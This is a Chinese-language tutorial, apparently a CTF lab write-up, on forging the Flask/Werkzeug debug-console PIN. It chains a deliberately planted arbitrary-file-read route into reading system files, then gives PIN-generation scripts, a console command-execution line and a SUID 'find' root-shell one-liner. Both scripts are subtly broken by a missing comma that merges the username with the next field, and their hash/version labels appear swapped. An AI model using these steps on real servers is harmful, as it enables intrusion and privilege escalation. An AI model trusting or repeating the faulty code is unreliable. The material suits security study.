Flask_PIN码伪造

漏洞概念及成因

Flask 是一个用 Python 编写的,基于 WSGI(Web Server Gateway Interface)和 Jinja2 模板引擎的轻量级 Web 应用框架。

当 Flask 应用以 Debug 模式启动后,同时也会启动一个调试控制台,可通过浏览器访问/console路由进入,该调试控制台需要 PIN 码才能进入,而 PIN 码在服务端启动应用程序时会显示出来。进入调试控制台后,就可以执行 Python 语句和命令。

通常情况下,开发人员在开发阶段为了提高效率,会以 Debug 模式启动程序,而到了正式运行阶段,则会关闭 Debug 模式。但是有些粗心的开发人员或运维人员,在程序运行阶段,忘记关闭 Debug 模式,从而给攻击者以可乘之机。当然,进入并使用调试控制台,需要输入正确的 PIN 码。

我们在靶机上运行如下的 python 程序。

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def index():
return "<h1>[flask]pin码伪造</h1>"


@app.route("/fileread")
def read_file():
filename = request.args.get("filename")
return open(filename).read()


if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8000)

由于打开了调试模式,在服务端启动该应用程序时则会显示 PIN 码以便于进入调试控制台进行调试。

1
2
3
4
5
root@VM-8-17-ubuntu:~# python3 app.py
* Running on http://192.168.184.200:8000/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 630-164-444

你可以尝试重新运行该程序,会发现显示的 PIN 码并没有发生改变,这说明,PIN 码是根据一些系统参数和相对固定的算法进行生成的。

漏洞利用

接下来,我们需要配合该网站在/fileread路由下存在的任意文件读取漏洞,读取目标服务器的不同文件,获取重要参数,从而计算出正确的 PIN 码进入调试控制台。

http://192.168.184.200:8000/fileread?filename=1
尝试访问一个目标服务器中并不存在的文件,从而得到 Flask 报错页面,在这个页面上,我们可以得到一个路径/usr/local/lib/python3.6/dist-packages/flask/app.py,这是 python 中 Flask 框架的文件路径,从这个路径名中可以得到 python 的版本号,也可以找到对应的生成 PIN 码的程序路径。

http://192.168.184.200:8000/fileread?filename=/usr/local/lib/python3.6/dist-packages/werkzeug/debug/__init__.py
在这个文件中,存有生成 PIN 码的关键函数get_pin_and_cookie_name(),具体算法生成 PIN 码的逻辑我们在此不予以深究,后续会有相关脚本可以直接使用,需要注意的一点是,不同版本的 python 在生成 PIN 码的算法方面有所区别,所以后续的脚本也会有所不同。

生成 PIN 码需要哪些参数?

username

为启动该程序的用户名,通过读取文件/etc/passwd的内容进行猜测。

modname

默认值为flask.app

appname

默认值为Flask

moddir

app.py 所在位置的绝对路径,即/usr/local/lib/python3.6/dist-packages/flask/app.py

uuidnode

当前网络 mac 地址的十进制数,一般通过读取文件/sys/class/net/eth0/address的内容得到16进制结果,转化为10进制即可,其中eth0为相应的网卡名字。

可以通过如下 python 程序进行转换

1
2
str = "02:42:93:0a:ef:2e"
print(int(str.replace(":", ""), 16))

machine_id

每一个机器都会有自已唯一的id,linux 的 id 一般存放在/etc/machine-id/proc/sys/kernel/random/boot_id中,docker 靶机则存放在/proc/self/cgroup中。

不同版本的 python 的 machine_id 构成不同
一般从以下文件/proc/self/cgroup、/etc/machine-id,、/proc/sys/kernel/random/boot_id中的相关内容进行拼接或者单独构成,暂未实验得出具体结果。

如果想使用/proc/self/cgroup路径,但是self被过滤了,其中的self可以用相关进程的pid去替换,即/proc/1/cgroup,如果cgroup也被过滤了,可以使用mountinfo或者cpuset进行替换。

不同操作系统的 machine_id 所在路径

  • Linux
    etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup

  • Windows
    SOFTWARE\Microsoft\Cryptography

生成 PIN 码

获取到生成 PIN 码的相关参数后,使用脚本生成 PIN 码。

python3.8及以上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
'25214234362297',
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

python3.8以下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
'2485377581187',
'b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

调试控制台

进入调试控制台后可以执行 Python 语句和命令。

1
import os; print(os.popen('ls').read())

实战拓展

在此简述笔者曾经做过的某题的情况,成功进入调试控制台后,由于用户权限不够,并不能直接查看到 flag 文件,需要利用调试控制台发起反弹 shell ,后续进一步进行提权操作。

那此题是通过 suid 提权成功拿到 flag 的,该如何操作呢?

suid提权

寻找具有 suid 权限的⽂件,因为目前用户权限有限,避免产生⼤量的报错信息,故将错误流重定向到/dev/null,找到/usr/bin/find文件具有 suid 权限,在gtfobins中查到 find 提权的相关 exp,使用即可提权成功。
find . -exec /bin/sh -p \; -quit